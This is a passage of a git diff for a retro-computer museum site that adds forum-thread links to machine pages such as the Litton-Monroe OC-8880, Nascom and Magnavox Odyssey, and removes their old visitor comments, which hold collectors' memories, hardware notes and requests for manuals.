after an analysis of the pictures that I have found here, I see several differences in the mainboard. I have uploaded a BIOS dump here https://archive.org/details/monroe_mca200. Any questions or comments are welcome, regards! - - author: Ted (Usa) - date: Thursday 9th January 2020 - text: As a foreign student (Argentina) in 1982 I trained police department administration at Institute of Police traffic Management in Jacksonville, Florida using Monroe 8820 and DBASE. They used it to track stolen property. I was hired in 1983 by Litton/Monroe as salesman, I was the only one selling this system from a team of 7 that sold the old accounting systems. I was the only user of the 20 APPLE IIC in the auniversity and found the Monroe 8820 to be more business oriented with the three applications DBASE, WORDSTAR, VISICALC. - - author: Alejandro (Argentina) - date: Tuesday 26th November 2019 - text: Hi everyone, good morning! I have found a variant of this machine, a Monroe MCA200 that has been made in Argentina. Anyone did have success to find manuals or any extra information about OC8820? I have found several notes in magazines of their period, but nothing with technical data about their internals or usage. - - author: Francesco Nidito (Italy) - date: Tuesday 21st August 2018 - text: |- - @Gordon $ I own one OC-8820 but that seems to have problems at start up. Taking a look to the manuals could help. Any change to be able to get a scan of them? - - Please write me at francesco $dot$ nidito $at$ gmail $dot$ com - - author: Chris C (Phila, PA ) - date: Monday 16th December 2013 - text: |- - Wow what a time warp! I sold about 15 of these computers in 1982 and 1983. I remember one of the Sales guys decided to develop a Dungeons and Dragons game in Basic after hours because otherwise this pc only had a few business applications. btw$ SuperCalc was the spreadsheet program available. - - Morristown Branch! Where are all you guys now? Mark Ricciardi, Kevin Haney, Steve Shustak, Tom Corzine, Gary, Joe, Martha. Good times! - - author: Gordon Warnock (United Kingdom) - date: Wednesday 1st February 2012 - text: I have a working OC 8820 with a 5 meg hard drive, along with all the manuals and programmers manuals and original disks. - - author: Gordon Warnock (United Kingdom) - date: Wednesday 1st February 2012 - text: I have a working OC 8820 with a 5 meg hard drive, along with all the manuals and programmers manuals and original disks. - - author: Mike (AA2LS) (USA) - date: Friday 6th January 2012 - text: |- - I need a copy of the OS $ CP/M for the OC8820. - - AA2LS@YAHOO.COM - - author: Ozy Max (Australia) - date: Thursday 29th December 2011 - text: |- - Starting about 1980, (In Australia) I developed a large Accounting Package that ran on the OC8820.. In 1980, the OC8820 was a prototype bunch of black boxes in a Rack-Mount. The advanced features of this OS and hardware were instantly obvious.. (Multi-tasking$ Bit manipulation$ Base offset addressing etc.) When the first IBM PCs came out later, I was appalled at how "inferior" they were by comparison.\ - I had many difficulties with the new OS - and my many questions to the USA research team hit a brick wall of secrecy.. It seemed like every response had to be cleared by the Litton CIA!\ - I eventually got the Accounting System working and it sold well for many years.. Its best features were enabled by the Multi-Task "Pipeline" (an OS feature where independent Tasks could pass/share data)..\ - Litton realized the importance of this research and they tried to encrypt the OS itself. Normally, you can''t encrypt machine code.. They did it by adding a hash to the addressing offset and including this offset in all hard addresses. I believe they hoped this trick would ''slow down'' the pirates. It only took me a few days to break this simple encryption.. I needed to enable the "CALC'' key - and that required me to alter the OS, which was when I realized it was encrypted. The sh\*t hit the fan when the USA guys saw that my package used the ''Calc'' key. I was blessed with a personal visit and a rebuke from the Asian Area manager. I hope I didn''t damage the potential of that great ''PC''..\ - Everything seemed to go downhill after - - author: Pete (US) - date: Friday 17th December 2010 - text: |- - I have one of these and a few disks with MS8 on it. I am desperate for any additional software or documentation. Especially CP/M. - - I can''t figure out MS8 at all. I''ve accidentally figured out how to list out the directory but, that''s about it. Anyone know anything at all about MS8 ? - - author: Clasho (Argentina) - date: Monday 1st November 2010 - text: Hi Johnny! Good to know that there is a machine like that in good form... Please, let me know if you have the MOS (Monroe Operation System) CP/M for this computer. I would like to contact you. Thanks a lot. - - author: Johnny (United States of America) - date: Thursday 1st July 2010 - text: I actually have one, Litton - Monroe OC-8820. As well as the Monroe printer. It kinda works, powers up, and such. But I get a orangeish screen with some script on it. That''s as far as it goes though. As far as I can tell it''s in very good condition. Email me if you would like some pictures of it or it itself. oc_id: 1078 source: url: https://web.archive.org/web/20230608081221/http://www.old-computers.com/museum/computer.asp?c=1078 diff --git a/content/museum/litton-monroe-oc-8880.md b/content/museum/litton-monroe-oc-8880.md index 00c5e8f1..c04b1fe9 100644 --- a/content/museum/litton-monroe-oc-8880.md +++ b/content/museum/litton-monroe-oc-8880.md @@ -65,6 +65,7 @@ params: tabs: - photos - links + forum_thread: 560 photos: - title: OC 8880 subtitle: '' @@ -88,59 +89,6 @@ params: - title: Litton-Monroe history url: http://www.datamath.org/Featured_Companies.htm text: You will find here a small Litton-Monroe's history - comments: - - author: Knut Roll-Lund (Norway) - date: Saturday 6th June 2020 - text: |- - Hi again all. The teledisk images have 16 sectors per track this makes them 360K. This makes them DD (Double Density) which is why I could write them on a PC with a 1.2MB drive.\ - The Micropolis 1015-5 in The OC-8880 is a QD 400K it seems to spin at 300 RPM but should have 20 sectors per track and 80 tracks. I thought 5,25" QD would rotate at 360 RPM similar to 8" so clock would be double of DD. I don''t know if it has two speeds and actually boots at DD and 300 RPM but can also do 360 RPM and QD.\ - I wonder if QD would be similar to HD and use a significantly higher current to write (bias) like PC 1.2MB does.\ - I will proceed to look at the floppies on another computer to see if there is anything sensible there. Also check frequencies on FDC and CPU to see if that makes sense.\ - The drive seems OK, though rotating speed may be a little off, if other things are OK I will try to adjust that. - - author: Knut Roll-Lund (Norway) - date: Thursday 28th May 2020 - text: |- - I tried the TeleDisk images Alejandro Daniel Perez found. Unfortunately no success yet. - - I created real media with ms-dos on a 1.2MB 5.25" drive (has 80 track) and used DD 360K media, though it is not certified for 80 track. This seemed to go well, so far so good. - - The OC-8880 did respond with some more messages so it was trying. Loading, but didn''t like the floppy. From the sounds the drive may be bad. - - I will try to find out if the floppies are ok on a different old computer. I will try to find out if the drive is bad, if it is an 80 track drive etc. In 1981/1982 80 track wasn''t that common. Two years later it was pretty common. - - BTW I will try mesuring what frequency the CPU has, and confirm if signals match Z80. - - author: Alejandro Daniel Perez (Argentina) - date: Thursday 16th April 2020 - text: |- - Hi everyone! I believe that I have found a disk image to check with this computer here: http://www.retroarchive.org/maslin/disks/misc/index.html - - The image name is monroe.td0 and monroe88.tdo, if anyone can check it I would like to know if the images are working fine. I have a Monroe OC-8820 but it still under repair - - author: Nils H (Sweden) - date: Friday 16th August 2019 - text: |- - The Monroe OC8800 could probably run CP/M, but it was offered with another operating system called OS8MT which was a multi-tasking 8-bit operating system. - - There was a Basic interpreter that is related to the Luxor ABC800 series computers and the Diab Basic on the Motorola Unix computers. - - There''s even an MS-DOS version of that Basic named basic2pc. There are however some differences in instruction set, but those differences are minor. Search for BASIC2PC.ZIP to find it. The basic is a semi-compiling basic which makes it fairly fast when executing. - - One Monroe-specific instruction that I happen to remember is "OPTION EUROPE", which allowed you to programmatically determine if there should be a comma or dot as decimal separator. - - author: Knut (Norway) - date: Sunday 1st November 2015 - text: Stefano''s link is now broken. I had to move my site, so the link should be http://knut.one/LittonMonroeOC8880.htm and yes the 2KB EPROM is correctly a dump of the boot ROM of the OC8800 but it contains only initialization and ability to load and execute a bootsector from a floppy. Not very useful if you don''t have a bootable floppy for this computer (probably CP/m). I have the machine but no floppy... - - author: Stefano - date: Tuesday 29th July 2014 - text: |- - http://home.online.no/\~kr-lund/LittonMonroeOC8880.htm - - The MESS project claims they need its ROM dump.\ - Pehaps the 2kb image in this link is useful ? - - author: Bob Hall (usa) - date: Thursday 10th November 2011 - text: The OC8800 and 8820 were manufactured in Monroe''s plant in Lexington South Carolina. This was the first of two attempts of Monroe to enter the desktop computer business. Operating memory was either 256k or 512K. dual 6" floppies and optional 5 or 10 Megabyte external hard drives. The model shown was intended as a system dedicated to educational use. This incorporated early verisions of software to allow a student to draw and color objects. The acutal commerical version was a single cabinet design with a 80 column dot matrix printer using 4" calculator rolls the display was an orange monochrome 8" monitor. - - author: PeriSoft (New York, USA) - date: Saturday 24th February 2007 - text: Gotta love the lace doily under the monitor. Classic! oc_id: 569 source: url: https://web.archive.org/web/20221128054726/http://www.old-computers.com/museum/computer.asp?c=569 diff --git a/content/museum/lnw-research-lnw-80.md b/content/museum/lnw-research-lnw-80.md index b2e74cdb..f8e775b6 100644 --- a/content/museum/lnw-research-lnw-80.md +++ b/content/museum/lnw-research-lnw-80.md @@ -64,6 +64,7 @@ params: - photos - adverts - docs + forum_thread: 584 photos: - title: USER MANUALS subtitle: '' diff --git a/content/museum/lobo-drives-international-max-80.md b/content/museum/lobo-drives-international-max-80.md index b0bf40e0..d53b6df0 100644 --- a/content/museum/lobo-drives-international-max-80.md +++ b/content/museum/lobo-drives-international-max-80.md @@ -61,6 +61,7 @@ params: tabs: - photos - adverts + forum_thread: 612 photos: - title: LOBO PRICE LIST subtitle: '' @@ -75,16 +76,6 @@ params: Before you start hunting from store to store for the ideal microcomputer, consider this: You won't find it.\ That's because the world's most versatile micro is available only from the manufacturer. It's Lobo MAX-80 And, dollar for dollar, feature for feature, there isn't another system that even comes close.... image: /media/museum/pubs/lobo_max80_pub_1.jpg - comments: - - author: Jim Wirth (Eugene, Oregon) - date: Thursday 10th January 2013 - text: Back in the early 80''s, I traded a S/W 357 revolver for my jewel. It had 4-8", 4-5", a 3.5", and lastly a 3 mb Hardrive. It came with a GE Line Impact Printer. I loved it, and it was fun to learn Basic, CPM and some CPM3 on it. The Amber monitor was eaiser to read for extended time and there is nothing negative I can say about the unit. It worked perfect, was easy to fix, reprogram and I hope the fellah I sold it to, got as much use out of it as I did. That is when I went to MS-DOS permanently. I have very fond memories of those times. - - author: Craig Seaton (USA) - date: Thursday 27th September 2012 - text: I still have one of these in the bat cave. last boot from floppy 2010. Ran CP/M, LDOS. - - author: William Barnhill (Rock Hill, SC) - date: Friday 6th September 2002 - text: I remember this being the first PC I ever came in contact with.. The loud keys, the lovely green phosphor screen... ah, those were the days. :) oc_id: 625 source: url: https://web.archive.org/web/20230604041049/http://www.old-computers.com/museum/computer.asp?c=625 diff --git a/content/museum/logabax-lx-500-series.md b/content/museum/logabax-lx-500-series.md index 87378efa..dddb9402 100644 --- a/content/museum/logabax-lx-500-series.md +++ b/content/museum/logabax-lx-500-series.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 862 photos: - title: METAL CASE UNIT subtitle: '' diff --git a/content/museum/logabax-persona-1600.md b/content/museum/logabax-persona-1600.md index 873615e2..8c9801ae 100644 --- a/content/museum/logabax-persona-1600.md +++ b/content/museum/logabax-persona-1600.md @@ -70,6 +70,7 @@ params: 128k, monochrome, 2 x drives 720k : 6015 (France, 85) tabs: - photos + forum_thread: 166 photos: - title: DUAL FDD VERSION subtitle: '' @@ -132,15 +133,6 @@ params: **(10)** Various NEC I/O chips\ **(11)** Keyboard ROM image: /media/museum/photos/logabax_persona1600_mainboard_s1.jpg - comments: - - author: Timothy Salter (United Kingdom) - date: Sunday 24th March 2013 - text: In the mid 1970''s the accountancy firm which I worked for owned a logabax, and it was used to compile the annual accounts of small companies. Later on we switched to using proper solid state computers. - - author: gondel jean-luc (france) - date: Sunday 23rd February 2003 - text: |- - i have a Logabax Persona 1600, but not a setup disk\ - please help me ? oc_id: 154 source: url: https://web.archive.org/web/20230529184854/http://www.old-computers.com/museum/computer.asp?c=154 diff --git a/content/museum/logical-machine-corporation-lomac-adam.md b/content/museum/logical-machine-corporation-lomac-adam.md index 9c9d0570..506efc66 100644 --- a/content/museum/logical-machine-corporation-lomac-adam.md +++ b/content/museum/logical-machine-corporation-lomac-adam.md @@ -53,6 +53,7 @@ params: tabs: - photos - adverts + forum_thread: 1309 photos: - title: ADAM COMPUTER subtitle: '' diff --git a/content/museum/logical-machine-corporation-lomac-david.md b/content/museum/logical-machine-corporation-lomac-david.md index afc6f16a..fa5587d0 100644 --- a/content/museum/logical-machine-corporation-lomac-david.md +++ b/content/museum/logical-machine-corporation-lomac-david.md @@ -51,6 +51,7 @@ params: tabs: - photos - adverts + forum_thread: 1306 photos: - title: DAVID subtitle: '' diff --git a/content/museum/logical-machine-corporation-lomac-goliath.md b/content/museum/logical-machine-corporation-lomac-goliath.md index ab03391d..601d599f 100644 --- a/content/museum/logical-machine-corporation-lomac-goliath.md +++ b/content/museum/logical-machine-corporation-lomac-goliath.md @@ -25,6 +25,7 @@ params: value: 64 KB (up to 256 KB) - label: BUILT IN MEDIA value: 10 MB, 30 MB or 50 MB of fixed disk storage and 10 MB of removable storage + forum_thread: 1310 oc_id: 1345 source: url: https://web.archive.org/web/20230413210051/http://www.old-computers.com/museum/computer.asp?c=1345 diff --git a/content/museum/logical-machine-corporation-lomac-l-xt.md b/content/museum/logical-machine-corporation-lomac-l-xt.md index b7dd71c9..4d427d6d 100644 --- a/content/museum/logical-machine-corporation-lomac-l-xt.md +++ b/content/museum/logical-machine-corporation-lomac-l-xt.md @@ -52,6 +52,7 @@ params: value: $5985 (USA, December 1983) tabs: - adverts + forum_thread: 1307 adverts: - title: SPANISH ADVERT (1984) subtitle: '' diff --git a/content/museum/logical-machine-corporation-lomac-tina.md b/content/museum/logical-machine-corporation-lomac-tina.md index 75dde225..debfbc49 100644 --- a/content/museum/logical-machine-corporation-lomac-tina.md +++ b/content/museum/logical-machine-corporation-lomac-tina.md @@ -54,6 +54,7 @@ params: $15,000 (USA, 1980) tabs: - photos + forum_thread: 1308 photos: - title: COMPLETE SYSTEM subtitle: '' diff --git a/content/museum/logystem-ecritext.md b/content/museum/logystem-ecritext.md index 71ae72e3..c5e9b0f8 100644 --- a/content/museum/logystem-ecritext.md +++ b/content/museum/logystem-ecritext.md @@ -62,10 +62,7 @@ params: value: Unknown - label: PRICE value: Unknown - comments: - - author: John Matcham (United Kingdom) - date: Friday 31st May 2019 - text: I worked with Patrick for several years at his home in Switzerland on several projects. The unit you describe was not only used for word processing but Patrick also used it for writing code and developing other programs. It was also used for programming eproms on new circuit boards that I would build for him. I lost touch with him many years ago, but if you have his number it would be great to catch up with him. regards John + forum_thread: 133 oc_id: 120 source: url: https://web.archive.org/web/20230417024950/http://www.old-computers.com/museum/computer.asp?c=120 diff --git a/content/museum/lucas-nascom-1.md b/content/museum/lucas-nascom-1.md index bbc4a1cb..d72e427f 100644 --- a/content/museum/lucas-nascom-1.md +++ b/content/museum/lucas-nascom-1.md @@ -71,6 +71,7 @@ params: - hardware - emulators - links + forum_thread: 795 photos: - title: LARGE VIEW subtitle: '' @@ -154,34 +155,6 @@ params: - title: The Nascom Home Page url: http://www.nascomhomepage.com/ text: Wow, you want to go there. Info, links ,software, documentations and more ! - comments: - - author: Ulf Wennström (Sweden) - date: Friday 6th February 2015 - text: I bought my kit at Hobby Data in Sweden 79. Worked hard whole summer (just started high school). My grandfather was a carpenter and made me a wooden case for it and the keyboard. Learned to program Z80 and hand assembler. Many notebooks with mnemonics and hex-code. Built 8k of RAM, bought ZEAP Assembler. Wrote a BASIC interpreter. And ever since that time have I worked with product development. I''m glad NASCOM taught me a profession. A computer a student could afford. - - author: Paul Thomas (UK) - date: Monday 26th November 2012 - text: I remember building one of these while at college learning to become a TV engineer. It got me interested in computers and led to me working for the same college (I''m still there after 24 years!). We had 8 of these which we used for microprocessor $ control systems courses. They were mounted in 2U rack cases and expanded to 16K. I was so impressed with them that I built one for myself. The one problem I had was with the siting of the keyboard cable which would produce spurious characters until re-routed away from the power supply. I still fondly remember programming in assembler on these machines. - - author: Nick Burnard (UK) (UK) - date: Thursday 27th September 2012 - text: |- - $$ Was I only only person to make use of the 8 bytes of "spare" ram at the end of each display line? - - No, I remember that well. Often these days, when writing some code and allocating Mbs to a memory array without a thought I think back to those days when every byte counted. - - author: Jim Franklin (England) - date: Monday 2nd July 2012 - text: |- - Like Frank Burgum, I bought mine from Henry''s Radio, although a little later in december 1979.\ - Mine too grew$ 64kb of ram, and a 20mA loop 110 baud teletype printer! It was a great system at the time, and only having memory from $0c80 to $fff and a stack that went down from $fff made things interesting to say the least! It made developing code an artform. Was I only only person to make use of the 8 bytes of "spare" ram at the end of each display line? - - author: Derek Jennings (UK) - date: Friday 8th April 2011 - text: |- - I got my Nascom 1 in 1978 as a kit. It was a great way to learn about microcomputers because quite a number of the TTL chips were defective and I had to fault find through the logic circuits for weeks before it worked. - - I mounted it in an Apple II case and was dead proud of it. Over time I added an extra 32k of RAM (Yes k) mounted on two PCBs on an expansion bus, and an external cassette tape interface. Everything had to be programmed in assembler. I did not even have BASIC.\ - Building that Nascom was the smartest thing I ever did. I learned such a lot that came in useful in my career. - - author: Frank Burgum (U.K.) - date: Tuesday 28th October 2008 - text: I bought a Nascom 1 kit from Henry''s Radio in the Edgeware Road in December 1978 or Jan 1979 (I remember it was snowing!). Over the next few years it grew an S100 bus cardframe, 40KB of RAM, a cassette interface, then a floppy disk interface, then a home-made DOS with Microsoft 8K Basic, and eventually CP/M. All home made and wire-wrapped on the kitchen table except for the S100 expander. Hours of fun, learned an awful lot about operating systems. related: - /museum/lucas-nascom-2 - /museum/lucas-nascom-3 diff --git a/content/museum/lucas-nascom-2.md b/content/museum/lucas-nascom-2.md index 40152f47..74a18293 100644 --- a/content/museum/lucas-nascom-2.md +++ b/content/museum/lucas-nascom-2.md @@ -69,6 +69,7 @@ params: - hardware - emulators - links + forum_thread: 796 photos: - title: NASCOM 2 ORIGINAL CASE subtitle: '' @@ -228,19 +229,6 @@ params: - title: The Nascom Home Page url: http://www.nascomhomepage.com/ text: Wow, you want to go there. Info, links ,software, documentations and more ! - comments: - - author: Malcolm Neave (England) - date: Tuesday 2nd August 2022 - text: The Nascom 2 was my first computer - I wasn''t bravce enough to build it myself so got the shop (Evesham Micros) to build it for me for an extra £50.I had it for about 10 years, upgrading to colour graphics and a disk drive, and even wrote a Scrabble program which could beat the Spectrum version (only on low levels though!). I gave it to a friend who wanted to use the interface for some control experiments and it never came back :( - - author: John Harrison - date: Tuesday 23rd October 2018 - text: Previous post seems to have gone wrong. This URL should work. Nascom link on home page - - author: John Harrison (England) - date: Tuesday 23rd October 2018 - text: 'I built a Nascom 2 and designed a sound card to go with it. I subsequently added discs and more storage. Full story $ picture at: http://jaharrison.me.uk/Misc/Nascom/' - - author: Chris Blackmore (United Kingdom) - date: Monday 17th November 2014 - text: I started with a Nascom 1 in 1978, upgraded to a Nascom 2, and added a Z80B based Gemini display card, two 256K RAM boards, floppy disc board with two 5.25" drives, I/O board, sound card with two sneaky copies of the Winchester sound card, a floating-point add-on processor card, and a Pluto colour graphics card with added palette card. I called it Marvin. related: - /museum/lucas-nascom-1 - /museum/lucas-nascom-3 diff --git a/content/museum/lucas-nascom-3.md b/content/museum/lucas-nascom-3.md index 6b9e12d4..a64d6e10 100644 --- a/content/museum/lucas-nascom-3.md +++ b/content/museum/lucas-nascom-3.md @@ -65,6 +65,7 @@ params: - hardware - emulators - links + forum_thread: 185 photos: - title: LARGE VIEW subtitle: '' diff --git a/content/museum/luxor-abc-80.md b/content/museum/luxor-abc-80.md index f1269a31..70d44693 100644 --- a/content/museum/luxor-abc-80.md +++ b/content/museum/luxor-abc-80.md @@ -60,6 +60,7 @@ params: - hardware - emulators - links + forum_thread: 56 photos: - title: LEFT SIDE subtitle: '' @@ -131,52 +132,6 @@ params: - title: Gorän Lundberg's web site url: http://www.hultsfred.org/luxor.htm text: Good information about Luxor computers (Swedish) - comments: - - author: Jørgen Jespersen (Denmark) - date: Saturday 8th July 2017 - text: |- - Well, the spec mentions sound, and claims it to be one channel.\ - The speaker monitored the input channel in the DIN connection to the tapedeck.\ - You could make a short with a resistor between output and input and generate one-bit sound. But that was a hack. - - author: toto - date: Sunday 7th August 2011 - text: I had one. I was 12years back then. If you asked for sqr(4) it said 2.002! I managed to run some c64 programs on it. - - author: Rainer Fredrich (Germany) - date: Tuesday 19th April 2011 - text: |- - Another ebay auction achieved 234 Euro for an Luxor ABC80 with FDD and cassette recorder. See attached auction picture:\ - http://tinyurl.com/3f839pj - - author: Rainer Fredrich (Germany) - date: Sunday 17th October 2010 - text: |- - A recently ebay auction achieved 78.88 Euro for an Luxor ABC80. See attached auction picture:\ - http://tinyurl.com/29kjtvr - - author: Fredrick Heia Romstad (Norway) - date: Wednesday 11th August 2010 - text: Hey! My dad havde this computer( Luxor adc800) and i want to know how much this computer can be sold for today. - - author: Rickard (Sweden) - date: Wednesday 14th July 2010 - text: 'Minor correction: The graphical resolution was 78 x 72 (not 78 x 75 as currently stated) as each of the 24 lines could hold 3 vertical pixels in graphics mode.' - - author: mike (sweden) - date: Sunday 6th February 2005 - text: |- - hi!i want to know when the first swedish pc came?\ - and which was the first swedish school pc? - - author: Mårten (Sweden) - date: Friday 28th May 2004 - text: |- - There was a "grass roots computer movement" in Sweden druing the beginning of the 80s when lay-men took evening classes to learn computers and programming (in BASIC).\ - Theese classes where not uncommonly held using ABC-80s. (Indeed such a course in 1983 was the first encounter of miy own with the wolrd of bits and bytes) - - author: Leo (Hungary) - date: Friday 31st January 2003 - text: Radiotechnic. Not Radotechnic. :) Never mind. - - author: Képes Gábor (Hungary) - date: Friday 31st January 2003 - text: |- - There was a good Hungarian version of ABC-80 too. This is the BRG ABC80 (BRG = Radotechnic Factory of Budapest).\ - It was a great school-computer, in a metal case.\ - See: www.homecomputer.de\ - G. oc_id: 37 source: url: https://web.archive.org/web/20230604072542/http://www.old-computers.com/museum/computer.asp?c=37 diff --git a/content/museum/luxor-abc-800-series.md b/content/museum/luxor-abc-800-series.md index ab2a37bb..dbdfd513 100644 --- a/content/museum/luxor-abc-800-series.md +++ b/content/museum/luxor-abc-800-series.md @@ -59,6 +59,7 @@ params: - hardware - emulators - links + forum_thread: 361 photos: - title: LARGE VIEW subtitle: '' @@ -148,20 +149,6 @@ params: - title: Rikard's ABC80 links url: http://www.etek.chalmers.se/~e7rikard/abc80.html text: Ressource links - comments: - - author: BZ (Sweden) - date: Wednesday 13rd April 2011 - text: Wow those were the days. We had a network in school. One minicomputer the ABC 9000 from Luxor and ABC800 - ABC 1600 as terminals. Some of the ABC:s had a cool feature when "wordprocessing" you could rotate the screen 90 degrees and the screen was WYSIWYG of a portrait-A4. UNIX operating system and vi for the wordprocessing. For programming C, no ++ and no $. The 90 degree screen was in a heavy duty metal design..... nevertriedto sharpen any knives thou - - author: Gábor Képes (Hungary) - date: Wednesday 12th November 2003 - text: |- - Hello!\ - I have a Butler Datamat computer at home. It is a machine from Denmark.\ - Is this a clone of the ABC-800? Or not?\ - Please give me more info! - - Best wishes,\ - Gabor oc_id: 357 source: url: https://web.archive.org/web/20230606183635/http://www.old-computers.com/museum/computer.asp?c=357 diff --git a/content/museum/luxor-sportsman-2001.md b/content/museum/luxor-sportsman-2001.md index aa45ed29..612422c5 100644 --- a/content/museum/luxor-sportsman-2001.md +++ b/content/museum/luxor-sportsman-2001.md @@ -46,27 +46,12 @@ params: value: 'No' tabs: - photos + forum_thread: 673 photos: - title: INSIDE subtitle: '' text: '' image: /media/museum/photos/luxor_sportsman_2001_in.jpg - comments: - - author: Polacko (Sweden) - date: Thursday 17th February 2011 - text: |- - I got one Luxor Sportsman 2001 at home. Its hard to find info about it. - - Whats its valued? Was it popular? - - author: mort (Lund, Sweden) - date: Friday 7th May 2004 - text: Perhaps it would render a slightly higher price in Sweden beeing a "Luxor"?? Not into collecting these things myself, so I wouldn't know though... - - author: Olivier (France) - date: Tuesday 28th January 2003 - text: Not much... I'm afraid... :-( - - author: Per (Sweden) - date: Tuesday 28th January 2003 - text: Yes i have these machine, im just wondering what the price is for a working game is stabil condition and without box and batterie cover? oc_id: 689 source: url: https://web.archive.org/web/20230613001247/http://www.old-computers.com/museum/computer.asp?c=689 diff --git a/content/museum/machine-119.md b/content/museum/machine-119.md index d9ca9ad3..fce7f3ed 100644 --- a/content/museum/machine-119.md +++ b/content/museum/machine-119.md @@ -5,6 +5,7 @@ categories: params: name: Machine 119 image: /media/museum/photos/eagle_computers.jpg + forum_thread: 132 oc_id: 119 source: url: https://web.archive.org/web/20021130021856/http://www.old-computers.com/museum/computer.asp?c=119 diff --git a/content/museum/machine-144.md b/content/museum/machine-144.md index fbb5d5f2..234e5f3c 100644 --- a/content/museum/machine-144.md +++ b/content/museum/machine-144.md @@ -4,6 +4,7 @@ categories: - Computers params: name: Machine 144 + forum_thread: 156 oc_id: 144 source: url: https://web.archive.org/web/20020823170427/http://www.old-computers.com/museum/computer.asp?c=144 diff --git a/content/museum/machine-740.md b/content/museum/machine-740.md index b9260612..f2084d26 100644 --- a/content/museum/machine-740.md +++ b/content/museum/machine-740.md @@ -4,6 +4,7 @@ categories: - Pongs params: name: Machine 740 + forum_thread: 723 oc_id: 740 source: url: https://web.archive.org/web/20030716034956/http://www.old-computers.com/museum/computer.asp?c=740 diff --git a/content/museum/magiclick-teleclick.md b/content/museum/magiclick-teleclick.md index 731afa85..5938b5c4 100644 --- a/content/museum/magiclick-teleclick.md +++ b/content/museum/magiclick-teleclick.md @@ -12,6 +12,7 @@ params: - software - emulators - links + forum_thread: 924 photos: - title: SYSTEM & BOX subtitle: '' @@ -89,28 +90,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: marcos (Argentina) - date: Thursday 12th February 2015 - text: I'' ve got it!!!! I played with Teleclick all my childhood and it still works. The factory that made this computer is Magiclik!!! They made big electrical lighters for the ovens in the early 80''s - - author: Juan Ignacio (Argentina) - date: Thursday 10th June 2004 - text: |- - Well I think this page is really great for those who loved and loves this kind of stuff, thanks!\ - I´m from Argentine and I did not know about this at all it´s so really amazing.\ - greetings - - author: Sebastian (Argentina) - date: Wednesday 17th September 2003 - text: |- - The previous message is from a friend of mine. We must consider it as an exeception, since all posts should be written in english for the convenience of every one, since that is the main language of this site. For all of you who don't catch up with spanish, it says something like this: "Cool console Seba. Where did you get it from? Was it built by the same guys who make the Magiclik for the cooker? Greets. Juan" Actually (in Argentina, I don't know if in the rest of the world) that device to turn the cokker's burner with a spark is known as "The Magiclick" since this is its brand. I'm not sure is were the same guys who built both the kitchen's device and the pong system... can anyone answer it? - - Seba - - author: juan b (Argentina) - date: Wednesday 17th September 2003 - text: |- - Muy buena consola Seba. La fabricaron los mismos del Magiclick para la cocina? De donde la sacaste?\ - Saludos.\ - Juan. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/magnavox-odyssey-200.md b/content/museum/magnavox-odyssey-200.md index 381e7310..7387e1b6 100644 --- a/content/museum/magnavox-odyssey-200.md +++ b/content/museum/magnavox-odyssey-200.md @@ -53,6 +53,7 @@ params: - software - links - docs + forum_thread: 1236 photos: - title: ODYSSEY 200 subtitle: '' @@ -93,2487 +94,6 @@ params:  type of document : ZIP\  size : 200 KB\  source : www.old-computers.com - comments: - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '1' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '1' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '1' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '1' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '1' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '1' - - author: tGhYxqFm (USA) - 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links + forum_thread: 1249 links: - title: www.atariarchives.org url: http://www.atariarchives.org/bcc2/showpage.php?page=278 diff --git a/content/museum/magnavox-odyssey-300.md b/content/museum/magnavox-odyssey-300.md index 711caee0..bc398501 100644 --- a/content/museum/magnavox-odyssey-300.md +++ b/content/museum/magnavox-odyssey-300.md @@ -56,6 +56,7 @@ params: - software - links - docs + forum_thread: 1246 photos: - title: ODYSSEY 300 subtitle: '' @@ -84,10 +85,6 @@ params:  type of document : PDF\  size : 1.6 MB\  source : www.old-computers.com - comments: - - author: Dan Cochran (Leesport, PA) - date: Thursday 14th July 2011 - text: Oh wow, I got one of these for Christmas around 75/76. Everyone was transfixed (for about two days). Like other dedicated-chip game systems, its major drawback was lack of other games to play. Boredom set in within a year. But what thrill when I first played it! related: - /museum/magnavox-odyssey-100 - /museum/magnavox-odyssey-200 diff --git a/content/museum/magnavox-odyssey-400.md b/content/museum/magnavox-odyssey-400.md index 878ae46d..64c59ce0 100644 --- a/content/museum/magnavox-odyssey-400.md +++ b/content/museum/magnavox-odyssey-400.md @@ -54,6 +54,7 @@ params: - photos - software - links + forum_thread: 1247 photos: - title: ODYSSEY 400 subtitle: '' @@ -108,13 +109,6 @@ params: - title: www.pong-story.com url: http://www.pong-story.com/odyssey_other.htm text: Odyssey dedicated page. Excellent website. - comments: - - author: Rod - date: Tuesday 23rd September 2014 - text: To answer my own question, yes you do have to open it up... and then use a pen or screwdriver end to actually flick the switch. - - author: Rod (Canada) - date: Tuesday 23rd September 2014 - text: Does anyone know where the sound ON/OFF actually is? This site claims that the 400 has such a thing, but I can''t locate it anywhere... unless you have to open the unit up. related: - /museum/magnavox-odyssey-100 - /museum/magnavox-odyssey-200 diff --git a/content/museum/magnavox-odyssey-500.md b/content/museum/magnavox-odyssey-500.md index b2f5533a..22e5bf9e 100644 --- a/content/museum/magnavox-odyssey-500.md +++ b/content/museum/magnavox-odyssey-500.md @@ -52,6 +52,7 @@ params: - photos - software - links + forum_thread: 1248 photos: - title: WITH BOX subtitle: '' diff --git a/content/museum/magnavox-odyssey2.md b/content/museum/magnavox-odyssey2.md index 3f148ab4..7d52cf99 100644 --- a/content/museum/magnavox-odyssey2.md +++ b/content/museum/magnavox-odyssey2.md @@ -14,6 +14,7 @@ params: - software - emulators - links + forum_thread: 679 photos: - title: ODYSSEY² subtitle: '' @@ -176,36 +177,6 @@ params: - title: www.videopac.org url: http://www.videopac.org/ text: Excellent site ! Everything Videopac is here ! - comments: - - author: GTBZdell (Canada) - date: Saturday 13rd July 2019 - text: I had one of this. It was a great game console. I wish I saved it. Ya know, young and foolish! - - author: Degoragon (United States) - date: Thursday 12th October 2017 - text: |- - I just got one of these, CIB for about $35 ($44 after shipping) on ebay, and I like it. The look of the console is neat, (and its HUGE, it 